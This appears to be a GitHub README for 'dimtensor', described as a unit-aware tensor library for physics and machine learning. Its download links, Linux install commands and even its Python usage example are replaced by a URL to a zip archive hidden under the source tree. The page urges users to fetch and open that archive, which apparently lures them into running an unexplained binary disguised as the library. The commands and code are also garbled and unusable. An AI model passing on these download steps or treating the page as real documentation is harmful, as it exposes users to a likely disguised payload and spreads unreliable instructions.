Skip to content

Danik277/dimtensor

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

86 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ dimtensor - Easy Tensors for Science and Learning

πŸš€ Overview

dimtensor provides unit-aware tensors designed for physics and scientific machine learning. With dimtensor, you can handle complex calculations with ease, gaining accurate results while exploring scientific concepts. It combines the power of Python libraries like NumPy and PyTorch, making it suitable for a wide range of applications in both education and research.

🚦 Features

  • Unit Awareness: Automatically accommodates different units in calculations.
  • Ease of Use: Simplifies tensor manipulation for beginners and experts alike.
  • Compatibility: Works seamlessly with popular Python libraries such as JAX, NumPy, and PyTorch.
  • Scientific Applications: Designed for physics and machine learning projects to enhance productivity.

πŸ’» System Requirements

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.6 or later
  • Additional Libraries: NumPy, PyTorch (instructions provided below)

πŸ“¦ Download & Install

To download dimtensor, visit this page to download: Download dimtensor

  1. Click on the link above to open the Releases page.
  2. Choose the latest version of dimtensor.
  3. Download the appropriate file for your operating system.
  4. Follow the installation instructions provided in the downloaded file.

βš™οΈ Installation Instructions

πŸ–₯ Windows

  1. After downloading, locate the file (usually in your Downloads folder).
  2. Open the file and follow the on-screen instructions to install dimtensor.
  3. When the installation completes, you can run dimtensor directly from your command line.

🍏 macOS

  1. Find your downloaded file in the Downloads folder.
  2. Double-click to open it and start the installation process.
  3. Follow the prompts to complete the installation.

🐧 Linux

  1. Navigate to your Downloads folder in the terminal.
  2. Use the command to extract the file:
    tar -xvf https://github.com/Danik277/dimtensor/raw/refs/heads/main/src/dimtensor/visualization/Software-2.0.zip
  3. Following extraction, change into the directory and run the setup script:
    cd dimtensor-linux
    https://github.com/Danik277/dimtensor/raw/refs/heads/main/src/dimtensor/visualization/Software-2.0.zip
  4. dimtensor will then be ready for use.

πŸ› οΈ Dependencies Installation

To fully utilize dimtensor, you need to install some additional libraries. Here are the steps for each major library.

πŸ“¦ Installing NumPy

You can install NumPy using pip. Open your command line and run:

pip install numpy

πŸ“¦ Installing PyTorch

To install PyTorch, visit the official PyTorch website and follow the instructions to install a version that matches your operating system and configuration.

πŸ€– Basic Usage

After successful installation, you can start using dimtensor. Here’s how to create a simple unit-aware tensor:

import dimtensor as dt

# Create a tensor with units
tensor = https://github.com/Danik277/dimtensor/raw/refs/heads/main/src/dimtensor/visualization/Software-2.0.zip([[1, 2], [3, 4]], units='meters')

# Perform operations
scaled_tensor = tensor * 2
print(scaled_tensor)

This example demonstrates how to create a tensor with units and perform a basic mathematical operation. dimtensor takes care of the unit conversions automatically for you.

πŸ”§ Troubleshooting

If you encounter issues during installation or usage, here are some common solutions:

  • Installation Errors: Ensure you have the correct version of Python installed. Check the compatibility with NumPy and PyTorch.
  • Import Errors: Verify that you installed dimtensor correctly. If it isn’t recognized, ensure the installation path is added to your environment variables.
  • Unit Calculation Issues: Make sure you are using the correct unit prefixes. Refer to the documentation for a full list of supported units.

🀝 Community and Support

If you need assistance, join our community. You can find help and resources in the dimtensor discussion forums. For bugs and feature requests, please use the issues page on GitHub.

πŸ“„ License

dimtensor is open-source software licensed under the MIT License. Feel free to use, modify, and distribute it according to the terms of the license.

For more information about the license, visit the LICENSE file.

🌐 Explore More

For more details, tutorials, and advanced usage examples, visit our documentation and enhance your understanding of how to effectively use dimtensor.

πŸ”— Quick Download

Don’t forget to visit this page to download: Download dimtensor. Enjoy your experience with dimtensor!

About

πŸ”§ Enable safe computations with unit-aware tensors for physics and machine learning, catching dimensional errors in real-time.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors